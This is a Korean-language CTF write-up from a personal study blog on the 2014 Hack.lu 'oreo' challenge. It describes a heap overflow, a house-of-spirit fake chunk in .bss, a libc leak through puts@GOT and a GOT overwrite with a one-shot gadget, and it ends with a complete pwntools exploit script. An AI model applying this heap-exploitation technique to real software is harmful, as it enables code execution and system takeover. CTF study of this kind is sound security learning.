HanJeouk의 개인공부 블로그

2014 Hack.lu CTF OREO

CTF2018. 3. 6. 20:05

House of spirit을 공부하고 푸는 두 번째 문제다.

전역변수들을 보면 이런 구조로 되어있다. 

취약점은 가까운 곳에서 발생하는데 바로 Add new rifle 함수에서 발생한다.

보면 56만큼 할당하는데 rifle_name에 값을 받을 때 rifle_ptr+25부터 받아서 오버플로우가 발생한다.. 그리고 52번째부터 4바이트를 이전 청크의 데이터 영역의 주소를 넣어준다. 넣어준 주소는 나중에 free할 때 반복문을 돌려서 한 번에 free시키기 위함이다.

이렇게!

그래서 이 주소를 조작하면 다른 곳을 free 시킬 수 있을 것이다.

그리고 leave message 함수를 보자.

일단 order_content_ptr안에는 content의 주소가 있어서 값을 입력받으면 content의 주소로 값이 들어가고 그걸 order_count_ptr로 가리키는 식으로 되어있다.

나머지는 출력함수다 여기서 order message를 출력할 때 포인터로 printf한다는 것을 주의깊게 봐야한다.

1. bss

2. heap

위에 두 사진은 add("AAAA","BBBB"),add("CCCC","DDDD"),leave_message("EEEEEEEEEEEEE")를 해줬을 때의 전역변수와 힙의 상황이다.

릭을 어디서 할 수 있을까? 고민하다가 order_content_ptr 주소를 함수의 got로 바꾸면 나중에 order message를 했을 때 함수의 주소를 릭할 수 있을 거라고 생각을 했다. 그럴려면 bss영역에 값을 입력할 수 있어야 한다. 그래서 house of sprit을 하기위해 전역변수중에서 사이즈로 쓸만한 것을 찾다가 마음대로 설정할 수 있는 rifle_count를 조작하기로 했다.(00000002로 나와있는 부분) 그래서 청크의 개수를 0x41로 설정했다. 그러면 이제 0x41-0x8(chunk_header)-0x1(prev_inuse) = 0x38(56)만큼 값을 넣은 다음에 next_chunk의 사이즈를 설정해줘야하는데 그 부분은 leave_message의 content영역이기 때문에 leave_message함수에서 설정할 수 있다. 이제 힙을 조작해야 한다. 왜냐하면 우리가 원하는 곳에 free를 시켜야 하기 때문이다. 그래서 0x40개를 할당하고 0x41번째를 할당할 때 name에서 값을 넣어서 원래 있던 이전 청크의 주소를 전역변수 주소로 바꾼다. #사진으로 보면 0x9dd348c에 있는 주소를 0x804a2a8로 바꾼다는 말이다.  

이제 order 함수로 free 시키고 다시 할당을 하면 bss에 할당이 될 것이다.

order을 하고 add("E",puts_got)를 덮었을 때의 전역변수 상황이다.

order_content_ptr이 가리키고 있는 포인터가 puts_got로 덮어진 걸 확인할 수 있다.

아까 그래서 show stat을 하면 order_content_ptr이 puts_got로 덮여졌기 때문에 puts의 주소가 나올 것이다.

이제 base를 구하고 내가 원하는 함수의 주소를 구할 수 있을 것이다.

나는 one_shot으로 문제를 풀려고 one_shot 주소를 구했다.

이제 공격만 하면 되는데 공격은 정말 쉽다. leave_message를 할 때 order_content_ptr로 하기 때문에 그냥 leave_message 함수에 들어가서 내용에 one_shot을 넣어주면 된다. 그러면 puts_got에 one_shot이 덮힌 꼴로 되어서 쉘이 따진다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import*
= process("./oreo")
elf = ELF("./oreo")
rifle_ptr = 0x804a288
fake_chunk_data = rifle_ptr+0x20
def add(name,des):
        p.sendline("1")
        p.sendline(name)
        p.sendline(des)
 
def show_rifle():
        p.sendline("2")
 
def order():
        p.sendline("3")
 
def leave(content):
        p.sendline("4")
        p.sendline(content)
def show_stat():
        p.sendline("5")
 
print p.recv(1024)
for i in range(0x40):
        add("A"*4,"B"*4)
add("a"*27+p32(fake_chunk_data),"c"*4)
leave(p32(0)*9+p32(0x1000))
order()
add("E",p32(elf.got["puts"]))
p.sendline("5")
p.recvuntil("Message: ")
 
puts= u32(p.recv(4))
base = puts - 0x5fca0
one = base + 0x5fbc5 #0x5fbc5 #0x3ac69 #0x3ac62 #0x3ac52 #0x3ac5c
print "Puts: " + hex(puts)
print "Base: " + hex(base)
p.sendline("4")
p.sendline(p32(one))
p.sendline("5")
p.interactive()
cs

'CTF' 카테고리의 다른 글

2017 hitcon training zoo  (0) 2018.03.14
2018 N1CTF vote  (0) 2018.03.12
TRUSTEALTH CTF sohard  (0) 2018.03.02
TRUSTEALTH CTF sysrop  (0) 2018.03.02
2016 Boston Key Party CTF Cookbook  (0) 2018.02.27